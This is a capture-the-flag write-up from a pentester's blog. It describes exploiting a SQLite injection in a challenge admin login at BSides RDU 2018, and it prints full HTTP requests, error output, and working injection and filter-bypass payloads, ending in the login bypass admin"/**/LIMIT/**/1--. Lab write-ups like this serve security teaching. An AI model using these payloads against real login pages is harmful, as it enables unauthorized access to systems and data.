Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
Address
304 North Cardinal St.
Dorchester Center, MA 02124
Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM
There was some neat SQLite injection during the most recent EverSec CTF, and I wanted to share my solution.
During the BSides RDU 2018 CTF, I of course found a login page.
In this case, it was slightly different from earlier years, and it actually took me some effort.
There was a second stage to this challenge, but I was unable to get it working in time. I’m hoping that I can have Gabe stand it up again for part 2!
The consultants portal had an administrative login page at http://192.168.0.200/admin. I’m not sure if this was found by manual browsing, or a dictionary attack.
That said, default/weak credentials didn’t work, so it looked like this would be a potential injection point.
First, I tried a simple SQL injection, hoping to get something useful back.
POST /login HTTP/1.1 Host: 192.168.0.200 Content-Length: 22 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Origin: http://192.168.0.200 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.0.200/admin Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: [Cookie] Connection: close username=%27&password=
Unfortunately, this just brought back a standard authentication error.
Next, I tried a username of “admin” and a single quote (‘) as the password. This too returned a standard error message.
<marquee scrollamount='15' style='max-width:30%'>Invalid password for admin, please try again!</marquee>
When I attempted a full injection, I received back a useful error message finally.
username=admin&password='+or+1%3d1+--+- ... Invalid characters detected, please try again
Note that the filter triggered on the spaces, which will come into play later.
Finally, I decided to try a double-quote (“) as the username, and found the injection point!
HTTP/1.1 200 OK Content-Type: text/html;charset=utf-8 Content-Length: 192 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Connection: close Server: thin Fatal Error <!-- SQLite3::SQLException: near "users": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = """ AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->
Now that I knew I probably had SQLite injection, it was time to exploit it. First of all, having only injected into SQLite from time to time, this cheatsheet was invaluable.
After finally receiving my error message, I knew that I’d have to inject into the username, as the browser was hashing the password before sending it off.
First, I attempted to inject a blank username, and limit the number of results to 1, to see if I could just login.
username="/**/LIMIT/**/1&password=test ... <!-- SQLite3::SQLException: near "" AND "": syntax error: SELECT "users".* FROM "users" WHERE "users"."username" = ""/**/LIMIT/**/1" AND "users"."password" = "098f6bcd4621d373cade4e832627b4f6" -->
When that didn’t work, I thought it was because the closing quote for username was breaking the syntax. Commenting out the rest of the query gave back and different error though.
username="/**/LIMIT/**/1--&password=test ... <marquee scrollamount='15' style='max-width:30%'>Invalid password for "/**/LIMIT/**/1--, please try again!</marquee>
Finally, after a few different attempts, I realized that I needed to provide a username. Once I tried admin plus my injection, it worked, and I received the flag!
POST /login HTTP/1.1 Host: 192.168.0.200 Content-Length: 45 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Origin: http://192.168.0.200 Content-Type: application/x-www-form-urlencoded Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://192.168.0.200/admin Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: [Cookie] Connection: close username=admin"/**/LIMIT/**/1--&password=test
This was a fun challenge, and a nice change of pace from the standard SQL injection.
I’ve definitely got to brush up on my SQLite knowledge, but the cheat sheet definitely helped.
There are still 2 or 3 more challenges that I have write-ups pending for, so stay tuned!
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he’s done it all. To show for it, he has obtained an OSCE, OSCP, eCPPT, GXPN, eWPT, eWPTX, SLAE, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!
He currently serves as a Senior Staff Adversarial Engineer for Avalara, and his previous position was a Principal Penetration Testing Consultant for Secureworks.
This page contains links to products that I may receive compensation from at no additional cost to you. View my Affiliate Disclosure page here. As an Amazon Associate, I earn from qualifying purchases.